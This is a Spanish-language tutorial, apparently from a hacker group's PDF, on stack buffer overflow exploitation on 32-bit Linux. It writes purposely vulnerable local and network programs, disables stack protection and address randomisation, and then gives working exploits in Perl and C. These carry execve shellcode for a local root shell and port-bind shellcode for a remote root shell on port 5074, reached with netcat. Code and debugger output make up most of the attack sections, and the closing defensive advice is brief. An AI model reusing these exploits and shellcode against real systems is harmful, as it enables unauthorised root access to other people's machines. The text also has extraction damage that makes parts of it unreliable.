Exploits ,laamenazadelosAdministradoresdeRedes.

Zodiac,[MitM]BlackHatUnion

Crees que tu PC es seguro?:

Exploits, la amenaza de los Administradores de Redes

_________________________________________________________________________________ Pgina1

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion

Contenido:

Introduccin Teora: Local Exploit Escribiendo el programa vulnerable Analizando el stack Probando el Local Exploit con perl Codeando nuestro primer Local Exploit en C Teora: Remote Exploit Escribiendo el programa vulnerable Analizando el stack Codeando nuestro primer Remote Exploit en C Conclusiones Agradecimientos

pag. pag. pag. pag. pag. pag. pag. pag. pag. pag. pag. pag.

03 04 05 07 09 12 14 14 17 25 29 30

_________________________________________________________________________________ Pgina2

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion

Introduccin
No es suficiente ensear a los hombres una especialidad. Con ello se convierten en mquinas utilizables, pero no en individuos vlidos. Para ser un individuo vlido, el hombre debe sentir intensamente aquello a lo que puede aspirar. Tiene que recibir un sentimiento vivo de lo bello y de lo moralmente bueno. En caso contrario, se parece ms a un ser condicionado que a un ente armnicamente desarrollado. Debe aprender a comprender las motivaciones, ilusiones y penas de la gente para adquirir una actitud recta respecto a los individuos y a la sociedad. Albert Einstein Actualmente es imposible concebir un simposio de seguridad informtica sin mencionar a los exploits. La mayora de los hackers, luego de haber identificado el sistema objetivo con xito, a travs de mapeos de puertos, fingerprinting, entre otras tcnicas, analizan las potenciales vulnerabilidades del sistema en concreto. Cuando se listan las vulnerabilidades, se comienza a especificar cuales servicios que corren en dicho sistema son susceptibles a overflows, para luego escribir el cdigo que reventar el servicio y en el cual se podr inyectar cdigo arbitrario en hexadecimal. Wikipedia define: Exploit (del ingls to exploit, explotar o aprovechar) es un programa informtico malicioso, o parte del programa, que trata de forzar alguna deficiencia o vulnerabilidad de otro programa (llamadas bugs). El fin puede ser la destruccin o inhabilitacin del sistema atacado, aunque normalmente se trata de violar las medidas de seguridad para poder acceder al mismo de forma no autorizada y emplearlo en beneficio propio o como origen de otros ataques a terceros. Este texto se elabor para programadores y administradores de redes con conocimientos tcnicos avanzados. Aqu se explicar la tcnica de explotacin buffer overflow (BoF), un poco de teora, situaciones en donde se podra aplicar esta tcnica, tipos, programacin en C y ASM. Al terminar , se preguntarn: Realmente mi PC es tan seguro?

Zodiac
_________________________________________________________________________________ Pgina3

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion

Teora: Local Exploit

Imaginemos el siguiente caso: Estamos en presencia de un Desktop GNU/Linux i686, procesador 1.8 Ghz, 256 MB ram, kernel 2.6.20-16, Ubuntu feisty 7.04, al cual solo tenemos acceso como usuario sin privilegios. Nuestro objetivo ahora es ingresar al sistema como root. Al revisar los programas, notamos un servicio interno con privilegios, lo revisamos y nos damos cuenta de que dicho programa es sensible a desbordamiento de buffer (o pila), por la mala programacin del programa. Un desbordamiento de buffer ocurre cuando los datos que se escriben en un buffer corrompen aquellos datos en direcciones de memoria adyacentes a los destinados para el buffer, debido a una falta de validacin de los datos de entrada. Esto se da comnmente al copiar cadenas de caracteres de un buffer a otro.

Ejemplo bsico
En este ejemplo, un programa tiene definidos dos elementos de datos continuos en memoria: un buffer de 8 bytes tipo string, A, y otro de dos bytes tipo entero, B. Al comienzo, A contiene bytes nulos y B contiene el nmero 3 (cada carcter se representa mediante un byte).

BufferA

BufferB

A continuacin, el programa intenta almacenar la cadena de caracteres "demasiado" en el buffer A, seguido de bytes nulos para marcar el fin de string.

_________________________________________________________________________________ Pgina4

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion

Al no validarse la longitud de la cadena, se sobrescribe el valor de B:

'd'

'e'

'm'

'a'

's'

'i'

'a'

'd'

'o'

BufferA

BufferB

A pesar de que el programador no quera cambiar el contenido del buffer B, el valor de ste ha sido reemplazado por un nmero equivalente a parte de la cadena de caracteres. Para este ejemplo, en un sistema big-endian que use ASCII, el carcter "e" seguido del byte nulo equivale al nmero 25856. Si B fuese la nica variable aparte de A definida en el programa, la escritura de datos que sobrepasen los lmites de B generaran un error como segmentation fault, concluyendo as el programa.

Escribiendo el programa vulnerable

Para entender un poco como se lleva a cabo esta tcnica, debemos practicar. Como root, escribe el siguiente cdigo fuente del programa vulnerable, luego compilalo de esta forma: # gcc vuln.c -o vuln -fno-stack-protector Adems, desactivaremos el VA protector: # sysctl -w kernel.randomize_va_space=0 Le daremos el bit suid: # chmod ug+s vuln

_________________________________________________________________________________ Pgina5

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion Ahora, el cdigo: /*vuln.c*/ #include <stdio.h> #include <stdlib.h> #include <string.h> void funcion(char *ax); int main (int argc, char *argv[]) { if(argc<2) { printf("Uso: %s cadena\x0a", argv[0]) ; return 0; } funcion (argv[1]); return (0); } void funcion (char *ax) { char buffer[1024]; strcpy (buffer, ax); printf ("Cadena:\n%s\n", buffer); } /* EOF */ Luego de haber compilado el cdigo fuente, lo probaremos... veamos que nos dice: # ./vuln Hola Cadena: Hola Qu pasara si introducimos mas caracteres que el buffer que almacena los datos?. Probemos con introducir 1026 bytes en la variable; para ello analizaremos el stack.

_________________________________________________________________________________ Pgina6

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion

Analizando el stack
Para automatizar la tarea de introducir los 1026 bytes en la variable, utilizaremos perl con el siguiente comando: $ ./vuln `perl -e 'print A x 1026'` AAAAA...... Fallo de segmentacin (core dumped) Para analizar el stack, utilizaremos el famoso gdb: $ gdb ./vuln GNU gdb 6.6-debian Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-gnu"... Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) r `perl -e 'print A x 1026'` Starting program: /vuln `perl -e'print"A"x1026'` Cadena: AAAAAAAAAA....... Program received signal SIGSEGV, Segmentation fault. 0x08048404 in main () (gdb) i r $ebp $eip ebp 0xbf004141 0xbf004141 eip 0x8048404 0x8048404 <main+80>

Bien, mirando un poco los resultados, si nos fijamos en el contenido del ebp 0xbf004141. El hexadecimal '41' es la letra A segn la tabla ASCII, por esto nos daremos cuenta de que hemos sobreescrito 2 bytes, osea, cuando introducimos 1026 bytes como variable, 2 de ellos (los ltimos que escribimos) se desbordan sobreescribiendo el espacio contiguo.

_________________________________________________________________________________ Pgina7

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion

Con esto, podemos deducir que el buffer se llena con 1024 bytes, y que para sobreescribir el eip, necesitamos 8 bytes... quedndonos: 1024 bytes 4 bytes 4 bytes buffer ebp (puntero base) eip (puntero de instruccin)

Ahora probemos introduciendo 1028 bytes con letras A y 4 letras B (una letra equivale a 1 byte): (gdb) r `perl -e'print"A"x1028 . "BBBB"'` Starting program: /vuln `perl -e'print"A"x1028 . "BBBB"'` Cadena: AAAAAA....AAAAAAAABBBB Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) i r $ebp $eip ebp 0x41414141 0x41414141 eip 0x42424242 0x42424242 El hexadecimal '42' es la letra B en la tabla ASCII. Observando los valores que hemos obtenido, podemos confirmar que nuestros clculos han sido correctos.

Conceptos:
Una breve definicin de los conceptos utilizados: EIP: es el registro que almacena la direccin de la siguiente instruccin que debe ejecutar el procesador. IP por instruction pointer (puntero a instruccin) EBP: puntero a base (base pointer), apunta al elemento mas alto de la pila. la pila (stack) es una estructura de datos que utiliza el procesador para ayudarse en la ejecucin de los programas. gdb: General DeBugger. se utiliza para seguir paso a paso la ejecucin de un programa. _________________________________________________________________________________ Pgina8

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion shellcode: es una tira de instrucciones escritas en ASM y codificadas en hexadecimal, que es usualmente lo que queremos que se ejecute una vez producida la falla. NOP: (0x90 o \x90)instruccin en ASM que significa no operation, es decir, que no haga nada. lo nico que hace es incrementar en uno el registro de siguiente instruccin (EIP) y ejecute lo que all se encuentre. En nuestro caso servir para que el procesador examine la memoria hasta que se encuentre con nuestra shellcode. perl: lenguaje de programacin muy utilizado para construir aplicaciones CGI para la web. perl es un acrnimo de Practical Extracting And Reporting Languaje, que viene a indicar que se trata de un lenguaje de programacin muy practico para extraer informacin de archivos de texto y generar informes a partir del contenido de los ficheros.

Probando el Local Exploit con perl

Antes de elaborar nuestro exploit, debemos tener en consideracin lo que necesitamos:

Tener claro la cantidad de bytes del programa Llenar el buffer y el EBP con NOPs y la shellcode Identificar la direccin de retorno para ubicarla en el EIP

De momento, tenemos identificada la cantidad de bytes: 1028 bytes para los NOPs y la shellcode, y 4 bytes para la ret address (direccion de retorno). La shellcode que usaremos (no explicar como escribir una shellcode porque sera muy largo) ser una de 23 bytes escrita por TheShredder: char shellcode[]= "\x31\xc0\x50\x89\xe1\x89\xe2\x68\x2f\x2f\x73\x68 \x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80";

Hacemos unos clculos previos: 1028(buffer+ebp) 23(shellcode) = 1005(NOPs)

_________________________________________________________________________________ Pgina9

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion Necesitamos identificar la direccion de retorno, para ello utilizaremos el gdb: (gdb) r `perl -e'print"\x90"x1005 . "\x31\xc0\x50\x89\xe1\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8 9\xe3\xb0\x0b\xcd\x80" . "AAAA"'` Starting program: /home/zodiac/exploits/vuln `perl -e'print"\x90"x1005 . "\x31\xc0\x50\x89\xe1\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8 9\xe3\xb0\x0b\xcd\x80" . "AAAA"'` Cadena: ....(caracteres no imprimibles)...1Ph//shh/bin AAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r $ebp $eip ebp 0x80cd0bb0 0x80cd0bb0 eip 0x41414141 0x41414141

Con esto volvemos a corroborar nuestros clculos. Ahora solo tenemos que buscar una direccion en donde tengamos un NOP, veamos:

(gdb) x/5000b $esp 0xbffff3f0: 0x00 0xbffff3f8: 0x18 0xbffff400: 0xb0 ... 0xbffff9d0: 0x90 0xbffff9d8: 0x90 ...

0xf5 0xff 0xbf 0xb0 0xf4 0xff 0xbf 0xf4 0xff 0xbf 0x20 0xf4 0xff 0xbf 0x47 0xff 0xb7 0x20 0xf4 0xff 0xbf 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x31 0xc0 0x50 0x89 0xe1 0x89

Eleg la ltima fila antes de que aparezca la shellcode. aqu, la direccion de retorno que usar ser: 0xbffff9d0

_________________________________________________________________________________ Pgina10

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion Debemos transformarla para que el registro la interprete correctamente: bf byte 1 bf byte 1 ff byte 2 ff byte 2 f9 byte 3 f9 byte 3 d0 byte 4 d0 byte 4

primer grupo de 2 bytes ff byte 2 bf byte 1

segundo grupo de 2 bytes d0 byte 4 f9 byte 3

primer grupo de 2 bytes d0 byte 4 f9 byte 3

segundo grupo de 2 bytes ff byte 2 bf byte 1

segundo grupo de 2 bytes

primer grupo de 2 bytes

Quedndonos: 0xd0f9ffbf O escrito como string: \xd0\xf9\xff\xbf Ya tenemos nuestra direccin de retorno, ahora solo tenemos que probarla: $ ./vuln `perl -e'print"\x90"x1005 . "\x31\xc0\x50\x89\xe1\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8 9\xe3\xb0\x0b\xcd\x80" . \xd0\xf9\xff\xbf'` Cadena: ...(caracteres no imprimibles)... # whoami root

_________________________________________________________________________________ Pgina11

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion

Codeando nuestro primer Local Exploit en C

#include #include #include #include <stdio.h> <stdlib.h> <string.h> <unistd.h>

int main (int argc, char *argv[]) { char evilcode[1032]; char shellcode[]= "\x31\xc0\x50\x89\xe1\x89\xe2\x68\x2f\x2f" "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" "\x0b\xcd\x80";

/* buffer = 1024 ; shellcode = 23 ; ebp = 4 ; eip = 4 total nops = 1032 - (23+4) = 1005 stack: nops[0-1005] - shellcode[1005-1028] - ret[1028-1032] */ char ret_add[] = \xd0\xf9\xff\xbf; char *ex[2]; memset (evilcode, 0x90, sizeof(evilcode) - 1); memcpy (evilcode + 950, shellcode, 23); /*--> puede estar en cualquier parte... mientras sea menor a 1005 */ memcpy (evilcode + 1028, ret_add, 4); ex[0] = "vuln"; ex[1] = evilcode; ex[2] = NULL; execve (ex[0], ex, NULL); return (0); } _________________________________________________________________________________ Pgina12

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion

Compilamos: $ gcc exp.c -o exp Ejecutamos: $ ./exp Cadena: ... # whoami root Cumplimos nuestro objetivo, obtuvimos la shell con privilegios de root.

_________________________________________________________________________________ Pgina13

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion

Teora: Remote Exploit

Siguiendo la idea del local exploit, imaginemos que ahora queremos ingresar al mismo sistema, pero de manera remota. Analizamos un poco y escaneando los puertos, nos percatamos de la presencia de puerto abierto, y nuestro nmap identific correctamente la versin del programa. Cual es el problema aqu? Pues necesitamos ese mismo programa en nuestra PC para poder hacer las pruebas necesarias, escribir cdigo y probarlo, para luego, crear el exploit y divertirse!. Los remote exploits son muy usados para acceder a sistemas de manera remota, con ciertos privilegios de sistema, y con la opcin de ejecutar cdigo arbitrario (eso radica en la shellcode que vayamos a utilizar) en ese sistema para obtener nuestros objetivos. Para llevar a cabo esto, crearemos un ambiente. Escribiremos el cdigo vulnerable, lo compilaremos, lo ejecutaremos, lo estudiaremos con gdb y perl, para luego escribir el remote exploit respectivo.

Escribiendo el programa vulnerable

Para entender lo que haremos, vamos a escribir este cdigo: Como root, escribe el siguiente cdigo fuente del programa vulnerable, luego compilalo de esta forma: # gcc remvuln.c -o remvuln -fno-stack-protector Adems, desactivaremos el VA protector: # sysctl -w kernel.randomize_va_space=0 Le daremos el bit suid: # chmod ug+s remvuln _________________________________________________________________________________ Pgina14

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion

/*remvuln.c*/ #include #include #include #include #include #include #include #include <stdio.h> <stdlib.h> <string.h> <unistd.h> <errno.h> <sys/types.h> <sys/socket.h> <netinet/in.h>

#define LISTENPORT 7500 #define BACKLOG 10 #define MSG "Hola, Como estas? " int handle_reply(char *str) { char response[256]; strcpy(response,str); printf("El cliente dice: << %s\x0a",response); return 0; } int main(int argc, char * argv[]) { int sock, conn; struct sockaddr_in my_addr , client_addr; int sockopt_on = 1; int sa_in_size = sizeof(struct sockaddr_in); char reply[1024]; //obteniendo el socket if ((sock = socket(AF_INET, SOCK_STREAM,0)) == -1) { perror("socket"); exit(1); }

_________________________________________________________________________________ Pgina15

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion //primer zero de la estructura memset((char *) &my_addr , 0, sa_in_size); //parte importante my_addr.sin_family = AF_INET; my_addr.sin_port = htons(LISTENPORT); my_addr.sin_addr .s_addr = htonl(INADDR_ANY); //bindeando el puerto a nuestro programa if (bind(sock,(struct sockaddr *)&my_addr, sa_in_size) == -1) { perror("bind"); exit(1); } //iniciando el puerto a la escucha por nuevas conexiones if (listen(sock,BACKLOG) == -1) { perror("listen"); exit(1); } while(1) { conn = accept(sock, (struct sockaddr *)&client_addr , &sa_in_size); if (conn == -1) { perror("accept"); exit(1); } //logeando al cliente printf("Conexion desde: %s\n", inet_ntoa(client_addr .sin_addr)); //enviando el mensaje send(conn,MSG,strlen(MSG)+1,0); //obteniendo la respuesta recv(conn, reply, 1024, 0); handle_reply(reply); } return 0; } /*EOF*/

_________________________________________________________________________________ Pgina16

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion Probemos lo que nos dice este programa: $ ./remvuln Conexion desde: 127.0.0.1 El cliente dice: << bien y tu ? Como vemos, el programa tiene el mismo problema de mala encapsulacin de datos. Solo tenemos que enviar un payload de aproximadamente 264. Porqu? simple, en este caso solo tenemos que observar esta lnea de cdigo: char response[256]; strcpy(response,str); Este es el cdigo vulnerable del programa, y ah es donde debemos atacar...

Analizando el stack
Aqu se nos complica un poco el cmo analizar efectivamente el stack. Tendremos que recurrir a los sockets en perl. #!/usr/bin/perl ################################################## # # Analizando el stack (version en Perl) escrito por Zodiac # # Uso: perl stack.pl <ip> # # Ejemplo: perl stack.pl 127.0.0.1 # ################################################## #IO::Socket por conexiones en la red use IO::Socket; #la IP es el 1er argumento de ARGV[0] en Perl $ip = $ARGV[0]; #nuestros NOPs $nopsled = "\x90"x256;

_________________________________________________________________________________ Pgina17

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion #para saber si sobreescribimos esas direcciones $ebp = "AAAA"; $eip = "BBBB"; #la construccion del payload completo $payload = $nopsled.$ebp.$eip; #si no se especifica la ip, entonces: if(!$ip) { die "Uso: perl $0 <ip>\n"; } #el puerto remoto a conectar $port = '7500'; #el protocolo de conexion a usar $protocol = 'tcp'; #crea la actual conexion de red #e imprime un mensaje de error si no es posible crear el socket $socket = IO::Socket::INET->new(PeerAddr=>$ip, PeerPort=>$port, Proto=>$protocol, Timeout=>'1') || die "No pude crear el socket\n"; #envia el payload al PC remoto print $socket $payload; #cierra la conexion close($socket); print "Payload enviando exitosamente!\n"; Ahora desde otra consola, ejecutamos: shell-1~$ gdb ./remvuln GNU gdb 6.6-debian Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. _________________________________________________________________________________ Pgina18

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-gnu"... Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) r Starting program: /remvuln shell-2~$ perl stack.pl 127.0.0.1 Payload enviando exitosamente! Ahora nos fijamos en nuestra shell-1 y notamos que: Conexion desde: 127.0.0.1 El cliente dice: << AAAABBBB Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) i r $ebp $eip ebp 0x41414141 0x41414141 eip 0x42424242 0x42424242

Nuestro programa fue exitoso, logramos sobreescribir el ebp y el eip. Haciendo unos clculos matemticos, tenemos: 256 bytes buffer 4 bytes ebp 4 bytes eip

_________________________________________________________________________________ Pgina19

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion Bien, ahora elijamos una shellcode. Yo eleg una que nos entrega una shell en el puerto 5074, pesa 92 bytes Por lo tanto: (256+4) 92 = 168 -> tendremos que establecer 168 NOPs, ya que hay 256(buffer) + 4(ebp) bytes antes de llegar al EIP , que queremos sobreescribir para que ejecute nuestra shellcode Para entender, de forma sera:

168 bytes NOPs buffer

88 bytes shellcode

4 bytes ebp

4 bytes eip

Escribamos el cdigo: /*remexploit.pl*/ #!/usr/bin/perl ################################################## ################## # # Exploit (version en Perl) escrito por Zodiac # # Uso: perl remexploit.pl <ip> # # Ejemplo: perl remexploit.pl 192.168.0.104 # ################################################## ################## #IO::Socket por conexiones en la red use IO::Socket;

_________________________________________________________________________________ Pgina20

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion #la IP es el 1er argumento de ARGV[0] en Perl $ip = $ARGV[0]; #nuestros NOPs $nopsled = "\x90"x168; #nuestra shellcode que nos entregar un PORT BIND (puerto 5074) de 92 bytes $shellcode = "\x31\xc0". "\x50"."\x40"."\x89\xc3"."\x50". "\x40"."\x50"."\x89\xe1"."\xb0\x66"."\xcd\x80"."\x31\xd2"."\x52". "\x66\x68\x13\xd2"."\x43"."\x66\x53"."\x89\xe1"."\x6a\x10"."\x51". "\x50"."\x89\xe1"."\xb0\x66"."\xcd\x80"."\x40"."\x89\x44\x24\x04". "\x43"."\x43"."\xb0\x66"."\xcd\x80"."\x83\xc4\x0c"."\x52"."\x52". "\x43"."\xb0\x66"."\xcd\x80"."\x93"."\x89\xd1"."\xb0\x3f"."\xcd\x80". "\x41"."\x80\xf9\x03"."\x75\xf6"."\x52". "\x68\x6e\x2f\x73\x68". "\x68\x2f\x2f\x62\x69"."\x89\xe3"."\x52"."\x53"."\x89\xe1". "\xb0\x0b"."\xcd\x80"; #nuestro EIP para saber donde est el EIP $eip = "AAAA"; #la construccion del payload completo $payload = $nopsled.$shellcode.$eip; #si no se especifica la ip, entonces: if(!$ip) { die "Uso: perl $0 <ip>\n"; } #el puerto remoto a conectar $port = '7500'; #el protocolo de conexion a usar $protocol = 'tcp'; #crea la actual conexion de red #e imprime un mensaje de error si no es posible crear el socket $socket = IO::Socket::INET->new(PeerAddr=>$ip, PeerPort=>$port, Proto=>$protocol, Timeout=>'1') || die "No pude crear el socket\n";

_________________________________________________________________________________ Pgina21

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion #envia el payload al PC remoto print $socket $payload; #cierra la conexion close($socket); print Payload enviado!\n; /*EOF*/ Ahora hacemos lo mismo que antes: shell1~$ gdb ./remvuln GNU gdb 6.6-debian Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-gnu"... Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) r Starting program: /remvuln shell2~$ perl remexploit.pl 127.0.0.1 Payload enviado! shell1~$ Conexion desde: 127.0.0.1 El cliente dice: << 1P@P@Pf1 Rfh#CfSj#QPf@ D$#CCf RRCf? A#uRhn/shh//biRS AAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r $ebp $eip ebp 0x80cd0bb0 0x80cd0bb0 eip 0x41414141 0x41414141 _________________________________________________________________________________ Pgina22

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion Bien, nuevamente hemos sobreescrito el ebp y el eip, claro que con la diferencia de que el ebp forma parte de la shellcode, y el eip le pusimos AAAA. Lo que tenemos que hacer ahora, es lo mismo que hicimos con los local exploits, buscar una direccin de memoria en donde hayan NOPs, de preferencia que estn de los ltimos (gdb) x/5000b $esp ... 0xbffff468: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff470: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff478: 0x31 0xc0 0x50 0x40 0x89 0xc3 0x50 0x40 ... Tomaremos esa direccin, ya sabemos como pasarlo como argumento: 0xbffff470 -> bf ff f4 70 -> 70 f4 ff bf \x70\xf4\xff\xbf Ahora solo tenemos que hacer la prueba con esta direccin como eip: editamos el archivo remexploit.pl y cambiamos la siguiente lnea de cdigo: #nuestro EIP para saber donde est el EIP $eip = "AAAA"; por #nuestro EIP para saber donde est el EIP $eip = "\x70\xf4\xff\xbf"; Lo probamos: shell1~$ ./remvuln shell2~$ perl remexploit.pl Payload enviado!

_________________________________________________________________________________ Pgina23

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion Ahora tenemos que abrir el netcat como: $ nc -vv 127.0.0.1 5074 localhost [127.0.0.1] 5074 (?) open uname -osnr Linux Zion 2.6.20-16-generic GNU/Linux

Y la tpica pregunta: Porqu mejor no integramos esa lnea del nc a nuestro exploit? La respuesta es agregar al final de la lnea del exploit el siguiente cdigo: print "Abriendo la shell remota...\n"; $comando=nc -vv $ip 5074; system($comando); Quedndonos algo asi: shell2~$ perl remexploit.pl 127.0.0.1 Payload enviado! Abriendo la shell remota... localhost [127.0.0.1] 5074 (?) open whoami root

_________________________________________________________________________________ Pgina24

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion

Codeando nuestro primer Remote Exploit en C

aqu solo escribir el cdigo, todo esto ya fue explicado en local exploits: /*exploitC.c*/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #define REMPORT 7500 #define NOP 0x90 int main(int argc,char **argv) { /* declarando nuestras variables */ int conn; //nuestra variable de conexion int fd; // nuestro descriptor de socket //asignando struct sockadd_in to remaddr struct sockaddr_in remaddr; //declarando nuestro payload char payload[264]; /* s0t4ipv6 x86 bind en el puerto 5074, de 92 bytes.*/ char shellcode[] = "\x31\xc0" "\x50" "\x40" "\x89\xc3" "\x50" "\x40" "\x50" "\x89\xe1" _________________________________________________________________________________ Pgina25

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion "\xb0\x66" "\xcd\x80" "\x31\xd2" "\x52" "\x66\x68\x13\xd2" "\x43" "\x66\x53" "\x89\xe1" "\x6a\x10" "\x51" "\x50" "\x89\xe1" "\xb0\x66" "\xcd\x80" "\x40" "\x89\x44\x24\x04" "\x43" "\x43" "\xb0\x66" "\xcd\x80" "\x83\xc4\x0c" "\x52" "\x52" "\x43" "\xb0\x66" "\xcd\x80" "\x93" "\x89\xd1" "\xb0\x3f" "\xcd\x80" "\x41" "\x80\xf9\x03" "\x75\xf6" "\x52" "\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69" "\x89\xe3" "\x52" "\x53" "\x89\xe1" "\xb0\x0b" "\xcd\x80";

_________________________________________________________________________________ Pgina26

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion if(!argv[1]) { printf("Especifica la ip...\n"); exit(1); } /*checa los errores del socket*/ if((fd = socket(AF_INET ,SOCK_STREAM,0)) == -1) { perror("socket"); exit(1); } char *eip = "\xa0\xf4\xff\xbf"; //bf ff f4 a0 memset(payload,NOP ,168); memcpy(payload+168,shellcode,sizeof(shellcode)); memcpy(payload+260,eip,sizeof(eip)); /* info de la conexion */ remaddr.sin_family = AF_INET; //dominio remaddr.sin_addr.s_addr = inet_addr(argv[1]); //direccion de la conexin remaddr.sin_port = htons(REMPORT); //puerto remoto (7500) /* aqu tiene lugar la conexion */ conn = connect(fd, (struct sockaddr_in *)&remaddr ,sizeof(remaddr)); if(conn < 0) { printf("Error: No pude conectarme\n"); exit(1); }

_________________________________________________________________________________ Pgina27

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion /* envia el payload */ send(fd,payload,strlen(payload),0); /* informacion extra del payload */ printf("Peso del Payload: %i\n",sizeof(payload)); printf("Payload Enviado..\n"); printf("Ahora solo ejecuta: $nc -vv %s 5074\n", argv[1]); } Compilamos: $ gcc exploitC.c -o exploitC Ejecutamos: $ ./exploitC 127.0.0.1 Peso del Payload: 264 Payload Enviado.. Ahora solo ejecuta: $nc -vv 127.0.0.1 5074 $nc -vv 127.0.0.1 5074 localhost [127.0.0.1] 5074 (?) open whoami root

_________________________________________________________________________________ Pgina28

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion

Conclusiones
Como pudimos estudiar en este documento, es posible ejecutar cdigo arbitrario desde programas que no tienen esa funciones, simplemente provocando el desbordamiento del buffer, que sobreescribir las secciones de memoria contigua, y desde ah, ejecutar nuestro ataque. Actualmente los Exploits son ampliamente utilizados en el underground para obtener shells de sistemas remotos. y de esa forma, penetrar los sistemas de seguridad y demases. La mayoria de los programas de FTP, navegadores, SMTP , pop3, entre otros servicios tienen versiones vulnerables a Buffer overflow (BoF), y tambin podemos identificarlas en programas nuevos. Esto representa un gran riesgo de seguridad interna tanto como externa. Soluciones? Pues en los sistemas linux, existe el VA patch que sirve para ejecutar los programas en secciones aleatorias de memoria, una especie de antiBoF, pero los programadores ms avanzados pueden saltar esta seguridad y ejecutar sus exploits... Entonces, Cmo protego mi PC de estos ataques?, una respuesta sencilla es mantener actualizado el software, manejar y administrar los puertos con iptables, instalar Sistemas de Deteccin de Intrusos (IDS), firewalls, e intentar mostrar la menos cantidad de informacin hacia el exterior. Mientras menos informacin se tenga de nuestro PC, es menos probable que nos ataquen, ya que el atacante no identificara correctamente la PC vctima y no sabra a que se enfrenta. En sistemas windows, el riesgo es an mayor. No existen sistemas anti-BoF por parte de microsoft y es muy sencillo saltar las barreras de seguridad. La eleccin siempre es suya, en cuanto a seguridad, linux ofrece mucha mas estabilidad y manejo del software y hardware, lo cual nos permite mayor flexibilidad a la hora de ejecutar rutinas de seguridad, pero cabe destacar que no existe un sistema 100% seguro, aqul que dice que su sistema es 100% seguro, se equivoca, quias aumento las barreras de su sistema, pero eso no significa que alguien en un tiempo ms no pueda pasar todas esas barreras... Ahora les pregunto: Creen que su sistema es seguro?

Zodiac
_________________________________________________________________________________ Pgina29

 Exploits ,laamenazadelosAdministradoresdeRedes. Zodiac,[MitM]BlackHatUnion

Agradecimientos
